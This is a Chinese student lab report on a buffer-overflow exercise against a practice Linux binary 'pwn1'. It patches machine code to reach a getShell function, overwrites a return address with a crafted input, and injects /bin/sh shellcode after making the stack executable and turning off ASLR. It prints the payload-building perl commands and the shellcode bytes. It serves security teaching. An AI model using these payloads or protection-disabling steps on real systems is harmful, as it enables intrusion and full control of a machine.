Exp 1 PC平台逆向破解 实验报告

一、实验说明

1.对象：名为“pwn1”的linux可执行文件。

           （该程序正常执行流程是main调用foo函数,foo函数会简单回显任何用户输入的字符串）

2.目标：想办法运行该程序中的代码片段，getShell，返回一个可用Shell

3.实践内容如下：

• • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发    getShell 函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

4.思路:

• • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

5.所需基础知识：

• •  熟悉Linux基本操作
    • 能看懂常用指令,如管道（|），输入、输出重定向（>）等。
  •  理解Bof的原理
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 指令、参数

二、具体操作

（一）直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
• 学习目标：理解可执行文件与机器指令
• 进阶：掌握ELF文件格式，掌握动态技术

1.下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

 

（1）先看main函数的第4行，"call 8048491 "是汇编指令，是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为“e8 d7ffffff”，e8即跳转之意。

     （ 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如解释e8这条指令，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。）

（2）main函数调用foo，对应机器指令为“ e8 d7ffffff”，那我们想让它调用getShell，只要修改“d7ffffff”为另外一个值，使得EIP存的值80484ba与d7ffffff修改后的值和为函数getShell的内存地址804847d。用 Windows计算器，直接804847d-80484ba就能得到补码，是c3ffffff。

  (3）故将“d7 ff ff ff”改为“c3 ff ff ff”，就可以使CPU在解释e8的时候，跳转到地址804847d处的getShell函数。80484ba+c3ffffff=804847d

2.修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

 （1）输入 cp pwn1 pwn2 ，对pwn1文件进行备份，然后输入 vi pwn2 对pwn2进行修改。结果如下图所示。

（2）输入 :%!xxd ，将显示模式切换为16进制。结果如下图所示。

（3）输入 /d7 ，查找要修改的内容。查找到d7比较多，结合反汇编可确认应该是下图所示地方是正确的。

（4）修改d7为c3。结果如下图。

（5）输入 :%!xxd -r ，转换16进制为原格式。结果如下图所示。（此步骤容易遗漏）

（6）输入 :wq ，存盘退出vi。

3.输入 objdump -d pwn2 | more ,查看是否修改成功。结果如下图。

4.输入./pwn2，检查是否能成功运行。结果如下图，确实能成功运行一个shell。

（二）通过构造输入参数，造成BOF攻击，改变程序执行流

• 知识要求：堆栈结构，返回地址
• 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
• 进阶：掌握ELF文件格式，掌握动态技术

1 .反汇编，了解程序的基本功能

        输入  objdump -d pwn1 | more ,查看反汇编结果，并分析漏洞所在。

（1）注意这个函数getShell，我们的目标是触发这个函数

（2）该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞。在此函数中，会读入字 符串，但系统只预留了28（0x1c转换为10进制为28）字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 。

（3）main函数中，call调用foo时，会执行push EIP的操作，在堆栈上压上返回地址值80484ba。

2.确认输入字符串哪几个字符会覆盖到返回地址

（1）用 gdb pwn3 调试程序（pwn3为pwn1的复制，用于进行操作修改），输入有规律的字符串如 1111111122222222333333334444444455555555 ，发生错误产生溢出。使用 info r 查看寄存器eip的值，发现输入的5555被覆盖到堆栈上的返回地址（字符5的ASCII值为00110101，转换成十六进制就为35）。

（2）如果输入字符串 1111111122222222333333334444444412345678 ，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

        接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

3. 确认用什么值来覆盖返回地址

       由上分析的需把33-36这四位改为getshell的内存地址0x0804847d，又因为是小端优先，所以构造的字符串应为为11111111222222223333333344444444x7dx84x04x08。

4.构造输入字符串

（1）由于无法直接将此字符串输入，因而先用Perl命令生成字符串文件。

       输入命令 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' >input  ，并且使用  xxd input  验证字符串文件内容。

（2）输入命令  (cat input; cat) | ./pwn3 ，此命令意为将input文件作为pwn3的输入。

（3）检查结果，发现除了没有“$”符号外，运行正常。

 

（三）注入Shellcode并执行

      1.准备一段Shellcode

• shellcode就是一段机器指令（code）
• 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的 cmd.exe），所以这段机器指令被称为shellcode。
• 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

2. 准备工作

    修改些设置。（pwn4为pwn1的复制版，用于操作）

# execstack -s pwn4    //设置堆栈可执行

# execstack -q pwn4    //查询文件的堆栈是否可执行

X pwn4

# more /proc/sys/kernel/randomize_va_space

2

# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

# more /proc/sys/kernel/randomize_va_space

0

3.构造要注入的payload

•  Linux下有两种基本构造攻击buf的方法：

• •   retaddr+nop+shellcode
  •   nop+shellcode+retaddr

•   因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
•   简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
•   我们这个buf够放这个shellcode了
•   结构为：nops+shellcode+retaddr。
  •  nop一为是了填充，二是作为“着陆区/滑行区”。
  •   我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

输入已经准备好的 shellcode:perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode  上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 特别提醒：最后一个字符千万不能是x0a。不然下面的操作就做不了了。

（1）确定x4x3x2x1到底该填什么

打开一个终端注入这段攻击buf： (cat input_shellcode;cat) | ./pwn4 

再开另外一个终端，输入命令 ps -ef | grep pwn4 找到pwn4的进程号：（进程号为1777）

 

用 gdb 来调试pwn4这个进程：

 

输入  break *0x080484ae  设置断点，来查看注入buf的内存地址：

        注意：断点的设置要在ret以前，因为ret会执行pop EIP的操作，ret完，就跳到我们覆盖的retaddr那个地方了。

进行完这一步之后，在另一个终端（之前的那个终端）中按下回车，这就是前面为什么不能以x0a来结束 input_shellcode的原因。

输入命令c,意为continue：

 输入  info r esp  ，查看esp寄存器的地址为0xffffd32c：

 

输入  x/16x 0xffffd32c ，再往前找：

       看到 01020304了，返回地址的位置。shellcode就挨着，所以地址是 0xffffd330。

（2）注入payload

输入 perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode  ：

输入 xxd input_shellcode ，查看文件内容：（41为A的ASCII）

 

然后输入  (cat input_shellcode;cat) | ./pwn4  运行，此时便可以进执行机器指令了：

 

三、实验总结

1.实验感想

        总体感觉，本次实验不算难。好好看视频，听课，按照步骤慢慢做，是可以做出来的。本次实验的重点，在于理解原理，知识点包括函数调用在堆栈上是怎样体现的，shellcode怎样构成等等，个人认为还是挺考验基础知识的。第一遍看视频的时候，总觉得有点难理解，吸收不到知识，于是在第二天的时候再次观看视频，感觉容易理解多了，也巩固了课堂所学知识。

2.错误总结

       总体实验流程还是很流畅的，遇到了几个问题。

（1）刚开始的时候，没有用cd进入文件所在之处，报错说找不到文件，经他人提醒才知道；

（2）使用gdb的时候，发现未安装gdb，输入sudo apt-get install gdb 安装gdb工具，报错找不到软件源，通过输入命令# apt-get update、# apt-get upgrade、# apt-get install gdb，成功安装；

（3）通过第三种方式实验时，输入指令 (cat input_shellcode;cat) | ./pwn4 ，因为没有显示就再按一次回车，然后发现无法找到进程号，通过他人博客才知道多按一次回车会使程序执行结束；

（4）通过第三种方式进行实验时，输入命令echo "0" > /proc/sys/kernel/randomize_va_space 用于关闭地址随机化，报错“bash: /proc/sys/kernel/randomize_va_space: permission denied”，我在前面加sudo，输入sudo echo 0 > /proc/sys/kernel/randomize_va_space，报同样的错误，因为sudo命令不支持重定向，最后通过输入sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space，解决问题；

四、思考题

       什么是漏洞？漏洞有什么危害？

答： 漏洞是程序设计不完善的地方，是在安全上存在的缺陷。比如此实验中由于预留位置不够，当输入更多数据时，会造成缓冲区攻击。

        这个缺陷可能被不法分子利用，从而达到窃取他人电脑上信息甚至控制他人电脑的目的。无论对国家、企业，还是个人，利益都可能受到损害。比如国家秘密的泄露，企业或个人信息被窃取。